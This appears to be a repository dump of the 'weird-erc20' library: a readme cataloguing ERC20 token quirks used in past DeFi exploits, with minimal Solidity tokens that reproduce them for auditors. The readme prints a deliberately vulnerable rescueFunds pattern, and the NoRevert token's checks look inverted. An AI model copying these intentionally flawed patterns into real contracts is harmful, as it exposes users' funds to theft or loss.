function assertEq(string memory a, string memory b) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log("Error: a == b not satisfied [string]");
emit log_named_string(" Value a", a);
emit log_named_string(" Value b", b);
fail();
}
}
function assertEq(string memory a, string memory b, string memory err) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {
ok = true;
if (a.length == b.length) {
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
ok = false;
}
}
} else {
ok = false;
}
}
function assertEq0(bytes memory a, bytes memory b) internal {
if (!checkEq0(a, b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", a);
emit log_named_bytes(" Actual", b);
fail();
}
}
function assertEq0(bytes memory a, bytes memory b, string memory err) internal {
if (!checkEq0(a, b)) {
emit log_named_string("Error", err);
assertEq0(a, b);
}
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/nix/sources.json
================================================
{
"dapptools": {
"branch": "master",
"description": "Dapp, Seth, Hevm, and more",
"homepage": "https://dapp.tools",
"owner": "dapphub",
"repo": "dapptools",
"rev": "d3aa62e08f2c662a4f8554ec68aa74dcdeb68ab3",
"sha256": "1dxzygjqkvx5327vv4wf8wnjr31m6s7jg7841760qplzw965xna0",
"type": "tarball",
"url": "https://github.com/dapphub/dapptools/archive/d3aa62e08f2c662a4f8554ec68aa74dcdeb68ab3.tar.gz",
"url_template": "https://github.com///archive/.tar.gz"
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/nix/sources.nix
================================================
# This file has been generated by Niv.
let
#
# The fetchers. fetch_ fetches specs of type .
#
fetch_file = pkgs: name: spec:
let
name' = sanitizeName name + "-src";
in
if spec.builtin or true then
builtins_fetchurl { inherit (spec) url sha256; name = name'; }
else
pkgs.fetchurl { inherit (spec) url sha256; name = name'; };
fetch_tarball = pkgs: name: spec:
let
name' = sanitizeName name + "-src";
in
if spec.builtin or true then
builtins_fetchTarball { name = name'; inherit (spec) url sha256; }
else
pkgs.fetchzip { name = name'; inherit (spec) url sha256; };
fetch_git = name: spec:
let
ref =
if spec ? ref then spec.ref else
if spec ? branch then "refs/heads/${spec.branch}" else
if spec ? tag then "refs/tags/${spec.tag}" else
abort "In git source '${name}': Please specify `ref`, `tag` or `branch`!";
in
builtins.fetchGit { url = spec.repo; inherit (spec) rev; inherit ref; };
fetch_local = spec: spec.path;
fetch_builtin-tarball = name: throw
''[${name}] The niv type "builtin-tarball" is deprecated. You should instead use `builtin = true`.
$ niv modify ${name} -a type=tarball -a builtin=true'';
fetch_builtin-url = name: throw
''[${name}] The niv type "builtin-url" will soon be deprecated. You should instead use `builtin = true`.
$ niv modify ${name} -a type=file -a builtin=true'';
#
# Various helpers
#
# https://github.com/NixOS/nixpkgs/pull/83241/files#diff-c6f540a4f3bfa4b0e8b6bafd4cd54e8bR695
sanitizeName = name:
(
concatMapStrings (s: if builtins.isList s then "-" else s)
(
builtins.split "[^[:alnum:]+._?=-]+"
((x: builtins.elemAt (builtins.match "\\.*(.*)" x) 0) name)
)
);
# The set of packages used when specs are fetched using non-builtins.
mkPkgs = sources: system:
let
sourcesNixpkgs =
import (builtins_fetchTarball { inherit (sources.nixpkgs) url sha256; }) { inherit system; };
hasNixpkgsPath = builtins.any (x: x.prefix == "nixpkgs") builtins.nixPath;
hasThisAsNixpkgsPath = == ./.;
in
if builtins.hasAttr "nixpkgs" sources
then sourcesNixpkgs
else if hasNixpkgsPath && ! hasThisAsNixpkgsPath then
import {}
else
abort
''
Please specify either (through -I or NIX_PATH=nixpkgs=...) or
add a package called "nixpkgs" to your sources.json.
'';
# The actual fetching function.
fetch = pkgs: name: spec:
if ! builtins.hasAttr "type" spec then
abort "ERROR: niv spec ${name} does not have a 'type' attribute"
else if spec.type == "file" then fetch_file pkgs name spec
else if spec.type == "tarball" then fetch_tarball pkgs name spec
else if spec.type == "git" then fetch_git name spec
else if spec.type == "local" then fetch_local spec
else if spec.type == "builtin-tarball" then fetch_builtin-tarball name
else if spec.type == "builtin-url" then fetch_builtin-url name
else
abort "ERROR: niv spec ${name} has unknown type ${builtins.toJSON spec.type}";
# If the environment variable NIV_OVERRIDE_${name} is set, then use
# the path directly as opposed to the fetched source.
replace = name: drv:
let
saneName = stringAsChars (c: if isNull (builtins.match "[a-zA-Z0-9]" c) then "_" else c) name;
ersatz = builtins.getEnv "NIV_OVERRIDE_${saneName}";
in
if ersatz == "" then drv else ersatz;
# Ports of functions for older nix versions
# a Nix version of mapAttrs if the built-in doesn't exist
mapAttrs = builtins.mapAttrs or (
f: set: with builtins;
listToAttrs (map (attr: { name = attr; value = f attr set.${attr}; }) (attrNames set))
);
# https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/lists.nix#L295
range = first: last: if first > last then [] else builtins.genList (n: first + n) (last - first + 1);
# https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/strings.nix#L257
stringToCharacters = s: map (p: builtins.substring p 1 s) (range 0 (builtins.stringLength s - 1));
# https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/strings.nix#L269
stringAsChars = f: s: concatStrings (map f (stringToCharacters s));
concatMapStrings = f: list: concatStrings (map f list);
concatStrings = builtins.concatStringsSep "";
# https://github.com/NixOS/nixpkgs/blob/8a9f58a375c401b96da862d969f66429def1d118/lib/attrsets.nix#L331
optionalAttrs = cond: as: if cond then as else {};
# fetchTarball version that is compatible between all the versions of Nix
builtins_fetchTarball = { url, name ? null, sha256 }@attrs:
let
inherit (builtins) lessThan nixVersion fetchTarball;
in
if lessThan nixVersion "1.12" then
fetchTarball ({ inherit url; } // (optionalAttrs (!isNull name) { inherit name; }))
else
fetchTarball attrs;
# fetchurl version that is compatible between all the versions of Nix
builtins_fetchurl = { url, name ? null, sha256 }@attrs:
let
inherit (builtins) lessThan nixVersion fetchurl;
in
if lessThan nixVersion "1.12" then
fetchurl ({ inherit url; } // (optionalAttrs (!isNull name) { inherit name; }))
else
fetchurl attrs;
# Create the final "sources" from the config
mkSources = config:
mapAttrs (
name: spec:
if builtins.hasAttr "outPath" spec
then abort
"The values in sources.json should not have an 'outPath' attribute"
else
spec // { outPath = replace name (fetch config.pkgs name spec); }
) config.sources;
# The "config" used by the fetchers
mkConfig =
{ sourcesFile ? if builtins.pathExists ./sources.json then ./sources.json else null
, sources ? if isNull sourcesFile then {} else builtins.fromJSON (builtins.readFile sourcesFile)
, system ? builtins.currentSystem
, pkgs ? mkPkgs sources system
}: rec {
# The sources, i.e. the attribute set of spec name to spec
inherit sources;
# The "pkgs" (evaluated nixpkgs) to use for e.g. non-builtin fetchers
inherit pkgs;
};
in
mkSources (mkConfig {}) // { __functor = _: settings: mkSources (mkConfig settings); }
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/readme.md
================================================
# Weird ERC20 Tokens
This repository contains minimal example implementations in Solidity of ERC20 tokens with behaviour
that may be surprising or unexpected. All the tokens in this repo are based on real tokens, many of
which have been used to exploit smart contract systems in the past. It is hoped that these example
implementations will be of use to developers and auditors.
The `ERC20` "specification" is so loosely defined that it amounts to little more than an interface
declaration, and even the few semantic requirements that are imposed are routinely violated by token
developers in the wild.
This makes building smart contracts that interface directly with ERC20 tokens challenging to say the
least, and smart contract developers should in general default to the following patterns when
interaction with external code is required:
1. A contract level allowlist of known good tokens.
2. Direct interaction with tokens should be performed in dedicated wrapper contracts at the edge of
the system. This allows the core to assume a consistent and known good semantics for the
behaviour of external assets.
In some cases the above patterns are not practical (for example in the case of a permissionless AMM,
keeping an on chain allowlist would require the introduction of centralized control or a complex
governance system), and in these cases developers must take great care to make these interactions in
a highly defensive manner. It should be noted that even if an onchain allowlist is not feasible, an
offchain allowlist in the official UI can also protect unsophisticated users from tokens that
violate the contracts expectations, while still preserving contract level permissionlessness.
Finally if you are building a token, you are strongly advised to treat the following as a list of
behaviours to avoid.
*Additional Resources*
- Trail of Bits [token integration checklist](https://github.com/crytic/building-secure-contracts/blob/master/development-guidelines/token_integration.md).
- Consensys Diligence [token integration checklist](https://consensys.net/diligence/blog/2020/11/token-interaction-checklist/)
# Tokens
## Reentrant Calls
Some tokens allow reentract calls on transfer (e.g. `ERC777` tokens).
This has been exploited in the wild on multiple occasions (e.g. [imBTC uniswap pool
drained](https://defirate.com/imbtc-uniswap-hack/), [lendf.me
drained](https://defirate.com/dforce-hack/))
*example*: [Reentrant.sol](./src/Reentrant.sol)
## Missing Return Values
Some tokens do not return a bool (e.g. `USDT`, `BNB`, `OMG`) on ERC20 methods. see
[here](https://gist.githubusercontent.com/lukas-berlin/f587086f139df93d22987049f3d8ebd2/raw/1f937dc8eb1d6018da59881cbc633e01c0286fb0/Tokens%20missing%20return%20values%20in%20transfer) for a comprehensive (if somewhat outdated) list.
Some tokens (e.g. `BNB`) may return a `bool` for some methods, but fail to do so for others. This
resulted in stuck `BNB` tokens in Uniswap v1
([details](https://mobile.twitter.com/UniswapProtocol/status/1072286773554876416)).
Some particulary pathological tokens (e.g. Tether Gold) declare a bool return, but then return
`false` even when the transfer was successful
([code](https://etherscan.io/address/0x4922a015c4407f87432b179bb209e125432e4a2a#code)).
A good safe transfer abstraction
([example](https://github.com/Uniswap/uniswap-v2-core/blob/4dd59067c76dea4a0e8e4bfdda41877a6b16dedc/contracts/UniswapV2Pair.sol#L44))
can help somewhat, but note that the existance of Tether Gold makes it impossible to correctly handle
return values for all tokens.
Two example tokens are provided:
- `MissingReturns`: does not return a bool for any erc20 operation
- `ReturnsFalse`: declares a bool return, but then returns false for every erc20 operation
*example*: [MissingReturns.sol](./src/MissingReturns.sol)
*example*: [ReturnsFalse.sol](./src/ReturnsFalse.sol)
## Fee on Transfer
Some tokens take a transfer fee (e.g. `STA`, `PAXG`), some do not currently charge a fee but may do
so in the future (e.g. `USDT`, `USDC`).
The `STA` transfer fee was used to drain $500k from several balancer pools ([more
details](https://medium.com/@1inch.exchange/balancer-hack-2020-a8f7131c980e)).
*example*: [TransferFee.sol](./src/TransferFee.sol)
## Balance Modifications Outside of Transfers (rebasing / airdrops)
Some tokens may make arbitrary balance modifications outside of transfers (e.g. Ampleforth style
rebasing tokens, Compound style airdrops of governance tokens, mintable / burnable tokens).
Some smart contract systems cache token balances (e.g. Balancer, Uniswap-V2), and arbitrary
modifications to underlying balances can mean that the contract is operating with outdated
information.
In the case of Ampleforth, some Balancer and Uniswap pools are special cased to ensure that the
pool's cached balances are atomically updated as part of the rebase prodecure
([details](https://www.ampltalk.org/app/forum/technology-development-17/topic/supported-dex-pools-61/)).
*example*: TODO: implement a rebasing token
## Upgradable Tokens
Some tokens (e.g. `USDC`, `USDT`) are upgradable, allowing the token owners to make arbitrary
modifications to the logic of the token at any point in time.
A change to the token semantics can break any smart contract that depends on the past behaviour.
Developers integrating with upgradable tokens should consider introducing logic that will freeze
interactions with the token in question if an upgrade is detected. (e.g. the [`TUSD`
adapter](https://github.com/makerdao/dss-deploy/blob/7394f6555daf5747686a1b29b2f46c6b2c64b061/src/join.sol#L321)
used by MakerDAO).
*example*: [Upgradable.sol](./src/Upgradable.sol)
## Flash Mintable Tokens
Some tokens (e.g. `DAI`) allow for so called "flash minting", which allows tokens to be minted for the duration
of one transaction only, provided they are returned to the token contract by the end of the
transaction.
This is similar to a flash loan, but does not require the tokens that are to be lent to exist before
the start of the transaction. A token that can be flash minted could potentially have a total supply
of max `uint256`.
Documentation for the MakerDAO flash mint module can be found
[here](https://docs.makerdao.com/smart-contract-modules/flash-mint-module).
## Tokens with Blocklists
Some tokens (e.g. `USDC`, `USDT`) have a contract level admin controlled address blocklist. If an
address is blocked, then transfers to and from that address are forbidden.
Malicious or compromised token owners can trap funds in a contract by adding the contract address to
the blocklist. This could potentially be the result of regulatory action against the contract
itself, against a single user of the contract (e.g. a Uniswap LP), or could also be a part of an
extortion attempt against users of the blocked contract.
*example*: [BlockList.sol](./src/BlockList.sol)
## Pausable Tokens
Some tokens can be paused by an admin (e.g. `BNB`, `ZIL`).
Similary to the blocklist issue above, an admin controlled pause feature opens users
of the token to risk from a malicious or compromised token owner.
*example*: [Pausable.sol](./src/Pausable.sol)
## Approval Race Protections
Some tokens (e.g. `USDT`, `KNC`) do not allow approving an amount `M > 0` when an existing amount
`N > 0` is already approved. This is to protect from an ERC20 attack vector described
[here](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#heading=h.b32yfk54vyg9).
[This PR](https://github.com/Uniswap/uniswap-v2-periphery/pull/26#issuecomment-647543138) shows some
in the wild problems caused by this issue.
*example*: [Approval.sol](./src/Approval.sol)
## Revert on Approval To Zero Address
Some tokens (e.g. OpenZeppelin) will revert if trying to approve the zero address to spend tokens
(i.e. a call to `approve(address(0), amt)`).
Integrators may need to add special cases to handle this logic if working with such a token.
*example*: [ApprovalToZero.sol](./src/ApprovalToZero.sol)
## Revert on Zero Value Transfers
Some tokens (e.g. `LEND`) revert when transfering a zero value amount.
*example*: [RevertZero.sol](./src/RevertZero.sol)
## Multiple Token Addresses
Some proxied tokens have multiple addresses. For example `TUSD` has two addresses:
`0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E` and `0x0000000000085d4780B73119b644AE5ecd22b376`
(calling transfer on either affects your balance on both).
As an example consider the following snippet. `rescueFunds` is intended to allow the contract owner
to return non pool tokens that were accidentaly sent to the contract. However, it assumes a single
address per token and so would allow the owner to steal all funds in the pool.
```solidity
mapping isPoolToken(address => bool);
constructor(address tokenA, address tokenB) public {
isPoolToken[tokenA] = true;
isPoolToken[tokenB] = true;
}
function rescueFunds(address token, uint amount) external nonReentrant onlyOwner {
require(!isPoolToken[token], "access denied");
token.transfer(msg.sender, amount);
}
```
*example*: [Proxied.sol](./src/Proxied.sol)
## Low Decimals
Some tokens have low decimals (e.g. `USDC` has 6). Even more extreme, some tokens like [Gemini USD](https://etherscan.io/token/0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd?a=0x5f65f7b609678448494De4C87521CdF6cEf1e932) only have 2 decimals.
This may result in larger than expected precision loss.
*example*: [LowDecimals.sol](./src/LowDecimals.sol)
## High Decimals
Some tokens have more than 18 decimals (e.g. `YAM-V2` has 24).
This may trigger unexpected reverts due to overflow, posing a liveness risk to the contract.
*example*: [HighDecimals.sol](./src/HighDecimals.sol)
## `transferFrom` with `src == msg.sender`
Some token implementations (e.g. `DSToken`) will not attempt to decrease the caller's allowance if
the sender is the same as the caller. This gives `transferFrom` the same semantics as `transfer` in
this case. Other implementations (e.g. OpenZeppelin, Uniswap-v2) will attempt to decrease the
caller's allowance from the sender in `transferFrom` even if the caller and the sender are the same
address, giving `transfer(dst, amt)` and `transferFrom(address(this), dst, amt)` a different
semantics in this case.
*examples*:
Examples of both semantics are provided:
- [ERC20.sol](./src/ERC20.sol): does not attempt to decrease allowance
- [TransferFromSelf.sol](./src/TransferFromSelf.sol): always attempts to decrease the allowance
## Non `string` metadata
Some tokens (e.g.
[`MKR`](https://etherscan.io/address/0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2#code)) have metadata
fields (`name` / `symbol`) encoded as `bytes32` instead of the `string` prescribed by the ERC20
specification.
This may cause issues when trying to consume metadata from these tokens.
*example*: [Bytes32Metadata.sol](./src/Bytes32Metadata.sol)
## Revert on Transfer to the Zero Address
Some tokens (e.g. openzeppelin) revert when attempting to transfer to `address(0)`.
This may break systems that expect to be able to burn tokens by transfering them to `address(0)`.
*example*: [RevertToZero.sol](./src/RevertToZero.sol)
## No Revert on Failure
Some tokens do not revert on failure, but instead return `false` (e.g.
[ZRX](https://etherscan.io/address/0xe41d2489571d322189246dafa5ebde1f4699f498#code)).
While this is technicaly compliant with the ERC20 standard, it goes against common solidity coding
practices and may be overlooked by developers who forget to wrap their calls to `transfer` in a
`require`.
*example*: [NoRevert.sol](./src/NoRevert.sol)
## Revert on Large Approvals & Transfers
Some tokens (e.g. `UNI`, `COMP`) revert if the value passed to `approve` or `transfer` is larger than `uint96`.
Both of the above tokens have special case logic in `approve` that sets `allowance` to `type(uint96).max`
if the approval amount is `uint256(-1)`, which may cause issues with systems that expect the value
passed to `approve` to be reflected in the `allowances` mapping.
*example*: [Uint96.sol](./src/Uint96.sol)
## Code Injection Via Token Name
Some malicious tokens have been observed to include malicious javascript in their `name` attribute,
allowing attackers to extract private keys from users who choose to interact with these tokens via
vulnerable frontends.
This has been used to exploit etherdelta users in the wild ([reference](https://hackernoon.com/how-one-hacker-stole-thousands-of-dollars-worth-of-cryptocurrency-with-a-classic-code-injection-a3aba5d2bff0)).
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/shell.nix
================================================
let
sources = import ./nix/sources.nix;
pkgs = import sources.dapptools {};
in
pkgs.mkShell {
buildInputs = with pkgs; [
dapp
niv
solc-static-versions.solc_0_6_12
solc-static-versions.solc_0_7_6
solc-static-versions.solc_0_8_6
];
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Approval.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract ApprovalRaceToken is ERC20 {
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {}
// --- Token ---
function approve(address usr, uint wad) override public returns (bool) {
require(allowance[msg.sender][usr] == 0, "unsafe-approve");
return super.approve(usr, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/ApprovalToZero.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract ApprovalToZeroToken is ERC20 {
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {}
// --- Token ---
function approve(address usr, uint wad) override public returns (bool) {
require(usr != address(0), "no approval for the zero address");
return super.approve(usr, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/BlockList.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract BlockableToken is ERC20 {
// --- Access Control ---
address owner;
modifier auth() { require(msg.sender == owner, "unauthorised"); _; }
// --- BlockList ---
mapping(address => bool) blocked;
function block(address usr) auth public { blocked[usr] = true; }
function allow(address usr) auth public { blocked[usr] = false; }
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {
owner = msg.sender;
}
// --- Token ---
function transferFrom(address src, address dst, uint wad) override public returns (bool) {
require(!blocked[src], "blocked");
require(!blocked[dst], "blocked");
return super.transferFrom(src, dst, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Bytes32Metadata.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract Math {
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
}
contract ERC20 is Math {
// --- ERC20 Data ---
bytes32 public constant name = "Token";
bytes32 public constant symbol = "TKN";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) virtual public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address usr, uint wad) virtual public returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/ERC20.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract Math {
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
}
contract ERC20 is Math {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) virtual public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address usr, uint wad) virtual public returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/HighDecimals.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract HighDecimalToken is ERC20 {
constructor(uint _totalSupply) ERC20(_totalSupply) public {
decimals = 50;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/LowDecimals.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract LowDecimalToken is ERC20 {
constructor(uint _totalSupply) ERC20(_totalSupply) public {
decimals = 2;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/MissingReturns.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract MissingReturnToken {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) external {
transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
}
function approve(address usr, uint wad) external {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/NoRevert.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract NoRevertToken {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) external returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {
if (balanceOf[src] >= wad) return false; // insufficient src bal
if (balanceOf[dst] >= (type(uint256).max - wad)) return false; // dst bal too high
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
if (allowance[src][msg.sender] >= wad) return false; // insufficient allowance
allowance[src][msg.sender] = allowance[src][msg.sender] - wad;
}
balanceOf[src] = balanceOf[src] - wad;
balanceOf[dst] = balanceOf[dst] + wad;
emit Transfer(src, dst, wad);
return true;
}
function approve(address usr, uint wad) virtual external returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Pausable.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract PausableToken is ERC20 {
// --- Access Control ---
address owner;
modifier auth() { require(msg.sender == owner, "unauthorised"); _; }
// --- Pause ---
bool live = true;
function stop() auth external { live = false; }
function start() auth external { live = true; }
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {
owner = msg.sender;
}
// --- Token ---
function approve(address usr, uint wad) override public returns (bool) {
require(live, "paused");
return super.approve(usr, wad);
}
function transfer(address dst, uint wad) override public returns (bool) {
require(live, "paused");
return super.transfer(dst, wad);
}
function transferFrom(address src, address dst, uint wad) override public returns (bool) {
require(live, "paused");
return super.transferFrom(src, dst, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Proxied.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
/*
Provides two contracts:
1. ProxiedToken: The underlying token, state modifications must be made through a proxy
2. TokenProxy: Proxy contract, appends the original msg.sender to any calldata provided by the user
The ProxiedToken can have many trusted frontends (TokenProxy's).
The frontends should append the address of their caller to calldata when calling into the backend.
Admin users of the ProxiedToken can add new delegators.
*/
contract ProxiedToken {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
// --- Init ---
constructor(uint _totalSupply) public {
admin[msg.sender] = true;
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Access Control ---
mapping(address => bool) public admin;
function rely(address usr) external auth { admin[usr] = true; }
function deny(address usr) external auth { admin[usr] = false; }
modifier auth() { require(admin[msg.sender], "non-admin-call"); _; }
mapping(address => bool) public delegators;
modifier delegated() { require(delegators[msg.sender], "non-delegator-call"); _; }
function setDelegator(address delegator, bool status) external auth {
delegators[delegator] = status;
}
// --- Token ---
function transfer(address dst, uint wad) delegated external returns (bool) {
return _transferFrom(_getCaller(), _getCaller(), dst, wad);
}
function transferFrom(address src, address dst, uint wad) delegated external returns (bool) {
return _transferFrom(_getCaller(), src, dst, wad);
}
function approve(address usr, uint wad) delegated external returns (bool) {
return _approve(_getCaller(), usr, wad);
}
// --- Internals ---
function _transferFrom(
address caller, address src, address dst, uint wad
) internal returns (bool) {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != caller && allowance[src][caller] != type(uint).max) {
require(allowance[src][caller] >= wad, "insufficient-allowance");
allowance[src][caller] = sub(allowance[src][caller], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
